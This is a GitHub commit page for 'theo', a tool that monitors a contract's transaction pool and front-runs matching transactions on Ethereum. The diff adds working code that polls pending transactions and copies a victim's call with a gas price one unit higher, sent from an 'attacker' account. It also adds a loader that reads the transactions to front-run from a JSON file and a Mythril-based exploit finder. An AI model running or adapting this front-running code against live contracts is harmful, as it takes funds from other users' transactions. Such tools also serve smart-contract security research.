Skip to content

Commit

Permalink
Allow input txs from file.
Browse files Browse the repository at this point in the history
  • Loading branch information
cleanunicorn committed Jul 7, 2019
1 parent 7fe805c commit 2733d51
Show file tree
Hide file tree
Showing 11 changed files with 161 additions and 138 deletions.
4 changes: 2 additions & 2 deletions .vscode/launch.json
Original file line number Diff line number Diff line change
Expand Up @@ -29,8 +29,8 @@
"console": "integratedTerminal",
"args": [
"tx-pool",
"--attacker=0xffcf8fdee72ac11b5c542428b35eef5769c409f0",
"--contract=0x9b1f7f645351af3631a656421ed2e40f2802e6c0",
"--account=0xffcf8fdee72ac11b5c542428b35eef5769c409f0",
"--contract=0xe78a0f7e598cc8b0bb87894b0f60dd2a88d6a8ab",
],
},
]
Expand Down
2 changes: 1 addition & 1 deletion blockchain/blockchain-new.sh
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
#!/bin/bash

geth --datadir=./ init genesis.json
./geth.bin --datadir=./ init genesis.json
2 changes: 1 addition & 1 deletion blockchain/blockchain-start.sh
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
#!/bin/bash

geth --datadir=./ --rpc --rpcapi="eth,net,rpc,web3,txpool,personal,debug" --rpccorsdomain='*' --allow-insecure-unlock --unlock "0x90f8bf6a479f320ead074411a4b0e7944ea8c9c1,0xffcf8fdee72ac11b5c542428b35eef5769c409f0,0x1df62f291b2e969fb0849d99d9ce41e2f137006e,0x22d491bde2303f2f43325b2108d26f1eaba1e32b,0xe11ba2b4d45eaed5996cd0823791e0c93114882d" --password ./account-password.txt console
./geth.bin --datadir=./ --rpc --rpcapi="eth,net,rpc,web3,txpool,personal,debug" --rpccorsdomain='*' --allow-insecure-unlock --unlock "0x90f8bf6a479f320ead074411a4b0e7944ea8c9c1,0xffcf8fdee72ac11b5c542428b35eef5769c409f0,0x1df62f291b2e969fb0849d99d9ce41e2f137006e,0x22d491bde2303f2f43325b2108d26f1eaba1e32b,0xe11ba2b4d45eaed5996cd0823791e0c93114882d" --password ./account-password.txt console
12 changes: 12 additions & 0 deletions test/input-tx.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
[
[
{
"input": "0x4e71e0c8",
"value": "0xde0b6b3a7640000"
},
{
"input": "0x2e64cec1",
"value": "0x0"
}
]
]
Empty file modified theo.py
100644 → 100755
Empty file.
Empty file added theo/exploit/__init__.py
Empty file.
68 changes: 68 additions & 0 deletions theo/exploit/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
from web3 import Web3
import time


class Exploit:
def __init__(self, txs: list, rpc: str, contract: str, attacker: str):
self.txs = txs
self.w3 = Web3(Web3.HTTPProvider(rpc))
self.contract = contract
self.attacker = attacker
pass

def __repr__(self):
return "Exploit: (txs={})".format(self.txs)

def frontrun(self):
print("Waiting for a victim to reach into the honey jar.")

# Wait for each tx and frontrun it.
for tx in self.txs:
victim_tx = self.wait_for(self.contract, tx)

frontrun_tx = {
"from": self.attacker,
"to": self.contract,
"gasPrice": hex(int(victim_tx["gasPrice"], 16) + 1),
"input": victim_tx["input"],
"gas": victim_tx["gas"],
"value": victim_tx["value"],
}

print("Frontrunning with tx: {tx}".format(tx=frontrun_tx))
receipt = self.send_tx(frontrun_tx)
print(
"Mined transaction: {tx}".format(tx=(receipt["transactionHash"].hex()))
)

def send_tx(self, tx: dict) -> str:
# Make sure the addresses are checksummed.
tx["from"] = Web3.toChecksumAddress(tx["from"])
tx["to"] = Web3.toChecksumAddress(tx["to"])

tx_hash = self.w3.eth.sendTransaction(tx)
tx_receipt = self.w3.eth.waitForTransactionReceipt(tx_hash, timeout=300)

return tx_receipt

def wait_for(self, contract, tx):
print("Listening for {tx}.".format(tx=tx))

while True:
time.sleep(1)
pending_txs = self.w3.txpool.content["pending"]

for k in pending_txs:
pending_tx = pending_txs[k]

for index in pending_tx:
if (pending_tx[index]["to"] == contract) and (
pending_tx[index]["input"] == tx.tx_data["input"]
):
print(
"Found pending tx: {tx} from: {sender}.".format(
tx=pending_tx[index]["hash"],
sender=pending_tx[index]["from"],
)
)
return pending_tx[index]
14 changes: 14 additions & 0 deletions theo/exploit/exploit_item.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
from web3 import Web3


class ExploitItem:
def __init__(self, tx_data: dict, rpc: str):
self.tx_data = tx_data
self.w3 = Web3(Web3.HTTPProvider(rpc))

def __repr__(self):
return "Transaction: {}".format(self.tx_data)

def run(self):
print("Running tx")
pass
18 changes: 18 additions & 0 deletions theo/file/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
import json
from theo.exploit.exploit import Exploit
from theo.exploit.exploit_item import ExploitItem


def load_file(file, rpc, contract, account):
with open(file) as f:
exploit_list = json.load(f)

exploits = []
for exploit in exploit_list:
txs = []
for tx in exploit:
txs.append(ExploitItem({"input": tx["input"], "value": tx["value"]}, rpc))

exploits.append(Exploit(txs, rpc, contract, account))

return exploits
93 changes: 39 additions & 54 deletions theo/interfaces/cli.py
Original file line number Diff line number Diff line change
@@ -1,95 +1,80 @@
import argparse
import psycopg2
import code
import json
from theo.server import Server
from theo.scanner import find_exploits
from theo.file import load_file


def main():
parser = argparse.ArgumentParser(
description="Monitor contracts for balance changes or tx pool."
)

# # Server
# # TODO: listen to this and save them to the postgres database
# server = parser.add_argument_group("Server")
# server.add_argument(
# "--server",
# help="Start server and save new vulnerabilities in the database.",
# metavar="",
# )
# server.add_argument(
# "--port", help="Port to listen on.", metavar="PORT_NUMBER", default=8080
# )
# server.add_argument(
# "--host", help="Address to listen on.", metavar="IP_ADDRESS", default="0.0.0.0"
# )

# # Postgres
# # TODO: login to PostgreSQL
# postgres = parser.add_argument_group("Postgres")
# postgres.add_argument(
# "--postgres",
# help="Connect to this PostgreSQL database.",
# metavar="postgresql://[email protected]/database?connect_timeout=10",
# )

# # Monitor balance
# # TODO: monitor contract balance
# balance = parser.add_argument_group("Monitor balance")
# balance.add_argument(
# "--balance", help="Enable balance monitoring for the contracts", metavar=""
# )

# Monitor tx pool
# TODO: monitor tx pool
tx_pool = parser.add_argument_group("Monitor transaction pool")
tx_pool.add_argument("--rpc", help="", metavar="", default="http://127.0.0.1:8545")
tx_pool.add_argument("--attacker", help="Frontrun transactions from this account")
tx_pool.add_argument(
"--rpc", help="Connect to this RPC", default="http://127.0.0.1:8545"
)
tx_pool.add_argument("--account", help="Use this account to send transactions from")

# Address to monitor
# Contract to monitor
parser.add_argument(
"--contract", help="Contract to monitor", type=str, metavar="ADDRESS"
)

# Transactions to frontrun
tx_monitor = parser.add_argument_group("Transactions to wait for")
tx_monitor.add_argument(
"--txs",
choices=["mythril", "file"],
help="Choose between: mythril (find transactions automatically with mythril), file (use the transactions specified in a JSON file).",
default="mythril",
)
tx_monitor.add_argument(
"--txs-file",
help="The file which contains the transactions to frontrun",
metavar="FILE",
)

# Run mode
parser.add_argument(
"run_mode",
# choices=["balance", "tx-pool", "server"],
choices=["tx-pool"],
help="Choose between: balance (monitor contract balance changes), tx-pool (if any transactions want to call methods) or server (save new vulnerabilities in the database).",
help="Choose between: balance (not implemented: monitor contract balance changes), tx-pool (if any transactions want to call methods).",
)

args = parser.parse_args()
# print(args.__dict__)

# if args.run_mode == "server":
# exec_server(args)
if args.run_mode == "tx-pool":
exec_tx_pool(args)


# def exec_server(args):
# print("Running server")
# server = Server(args.host, args.port)
# server.start()
# print("Shutting down")


def wait_for_exploit(exploit):
print("Waiting for", exploit)


def exec_tx_pool(args):

# Find exploit.
print("Scanning for exploits in contract: {contract}".format(contract=args.contract))
exploits = find_exploits(args.rpc, args.contract, args.attacker)
# Transactions to frontrun
if args.txs == "mythril":
print(
"Scanning for exploits in contract: {contract}".format(
contract=args.contract
)
)
exploits = find_exploits(args.rpc, args.contract, args.account)
if args.txs == "file":
exploits = load_file(
file=args.txs_file,
rpc=args.rpc,
contract=args.contract,
account=args.account,
)

if len(exploits) == 0:
print("No exploits found")
return

print("Found exploit(s)", exploits)
print("Found exploits(s)", exploits)

# Start interface
code.interact(local=locals())
Expand Down
86 changes: 6 additions & 80 deletions theo/scanner/__init__.py
Original file line number Diff line number Diff line change
@@ -1,88 +1,14 @@
import re
from mythril.mythril import MythrilAnalyzer, MythrilDisassembler, MythrilConfig
from mythril.exceptions import CriticalError
import json
from web3 import Web3
import re
import time


class Exploit:
def __init__(self, txs: list, rpc: str, contract: str, attacker: str):
self.txs = txs
self.w3 = Web3(Web3.HTTPProvider(rpc))
self.contract = contract
self.attacker = attacker
pass

def __repr__(self):
return "Exploit: (txs={})".format(self.txs)

def frontrun(self):
print("Waiting for a victim to reach into the honey jar.")

# Wait for each tx and frontrun it.
for tx in self.txs:
victim_tx = self.wait_for(self.contract, tx)

frontrun_tx = {
"from": self.attacker,
"to": self.contract,
"gasPrice": hex(int(victim_tx["gasPrice"], 16) + 1),
"input": victim_tx["input"],
"gas": victim_tx["gas"],
"value": victim_tx["value"],
}

print("Frontrunning with tx: {tx}".format(tx=frontrun_tx))
receipt = self.send_tx(frontrun_tx)
print("Mined transaction: {tx}".format(tx=(receipt['transactionHash'].hex())))

def send_tx(self, tx: dict) -> str:
# Make sure the addresses are checksummed.
tx["from"] = Web3.toChecksumAddress(tx["from"])
tx["to"] = Web3.toChecksumAddress(tx["to"])

tx_hash = self.w3.eth.sendTransaction(tx)
tx_receipt = self.w3.eth.waitForTransactionReceipt(tx_hash, timeout=300)

return tx_receipt

def wait_for(self, contract, tx):
print("Listening for {tx}.".format(tx=tx))

while True:
time.sleep(1)
pending_txs = self.w3.txpool.content["pending"]

for k in pending_txs:
pending_tx = pending_txs[k]

for index in pending_tx:
if (pending_tx[index]["to"] == contract) and (
pending_tx[index]["input"] == tx.tx_data["input"]
):
print(
"Found pending tx: {tx} from: {sender}.".format(
tx=pending_tx[index]['hash'], sender=pending_tx[index]["from"]
)
)
return pending_tx[index]


class ExploitItem:
def __init__(self, tx_data: dict, rpc: str):
self.tx_data = tx_data
self.w3 = Web3(Web3.HTTPProvider(rpc))

def __repr__(self):
return "Transaction: {}".format(self.tx_data)

def run(self):
print("Running tx")
pass
from mythril.exceptions import CriticalError
from mythril.mythril import MythrilAnalyzer, MythrilDisassembler, MythrilConfig
from theo.exploit.exploit import Exploit
from theo.exploit.exploit_item import ExploitItem


def find_exploits(rpc, contract, attacker):
def find_exploits(rpc, contract, attacker) -> Exploit:
conf = MythrilConfig()

if re.match(r"^https", rpc):
Expand Down

0 comments on commit 2733d51

Please sign in to comment.